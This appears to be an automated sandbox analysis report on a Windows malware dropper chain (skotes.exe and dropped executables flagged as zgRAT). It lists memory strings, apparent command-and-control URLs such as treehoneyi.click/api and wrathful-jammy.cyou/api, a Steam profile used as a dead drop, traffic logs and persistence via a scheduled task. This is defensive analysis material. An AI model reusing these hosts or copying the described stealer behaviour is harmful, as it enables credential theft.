Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/&
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/8sVk
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/elem:
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900(sFk
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319009
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shopg
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: e0c841723d.exe, 0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3259698094.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000002.3288427836.0000000003B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000002.3288427836.0000000003B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/6
Source: e0c841723d.exe, 0000000D.00000002.3286335779.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000002.3286335779.000000000139B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/pi/O
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou:443/api
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: e0c841723d.exe, 0000000D.00000003.3260618919.00000000044E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.77.249.79:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.5:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49973 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 631c5638f7.exe.6.dr	Static PE information: section name:
Source: 631c5638f7.exe.6.dr	Static PE information: section name: .idata
Source: 631c5638f7.exe.6.dr	Static PE information: section name:
Source: cf4412d54a.exe.6.dr	Static PE information: section name:
Source: cf4412d54a.exe.6.dr	Static PE information: section name: .idata
Source: cf4412d54a.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0027CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0027CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00057049	0_2_00057049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00058860	0_2_00058860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000578BB	0_2_000578BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000531A8	0_2_000531A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00014B30	0_2_00014B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00127B6E	0_2_00127B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00052D10	0_2_00052D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00014DE0	0_2_00014DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00047F36	0_2_00047F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005779B	0_2_0005779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A8860	2_2_002A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A7049	2_2_002A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A78BB	2_2_002A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A31A8	2_2_002A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00264B30	2_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A2D10	2_2_002A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00264DE0	2_2_00264DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00297F36	2_2_00297F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002A779B	2_2_002A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A8860	3_2_002A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A7049	3_2_002A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A78BB	3_2_002A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A31A8	3_2_002A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00264B30	3_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A2D10	3_2_002A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00264DE0	3_2_00264DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00297F36	3_2_00297F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002A779B	3_2_002A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0026E530	6_2_0026E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00286192	6_2_00286192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A8860	6_2_002A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00264B30	6_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A2D10	6_2_002A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00264DE0	6_2_00264DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00280E13	6_2_00280E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A7049	6_2_002A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A31A8	6_2_002A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00281602	6_2_00281602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A779B	6_2_002A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A78BB	6_2_002A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00283DF1	6_2_00283DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00297F36	6_2_00297F36

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 000280C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00298E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0027DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0027D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0027D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0027D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002780C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00277A00 appears 38 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9984673024523161
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9984673024523161
Source: random[2].exe0.6.dr	Static PE information: Section: bekbudto ZLIB complexity 0.994381602112676
Source: random[1].exe0.6.dr	Static PE information: Section: bxszsxlr ZLIB complexity 0.9944245763752456
Source: 631c5638f7.exe.6.dr	Static PE information: Section: bekbudto ZLIB complexity 0.994381602112676
Source: cf4412d54a.exe.6.dr	Static PE information: Section: bxszsxlr ZLIB complexity 0.9944245763752456
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe1.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: f3c1a61157.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: f3c1a61157.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125

Source: random[2].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 631c5638f7.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: cf4412d54a.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 0cf121b643.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0cf121b643.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[2].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[2].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/26@21/9

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3436:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7268:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: e0c841723d.exe, 0000000D.00000003.3207594361.00000000042C5000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3207808526.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3233939962.00000000042C3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 57%
Source: file.exe	ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
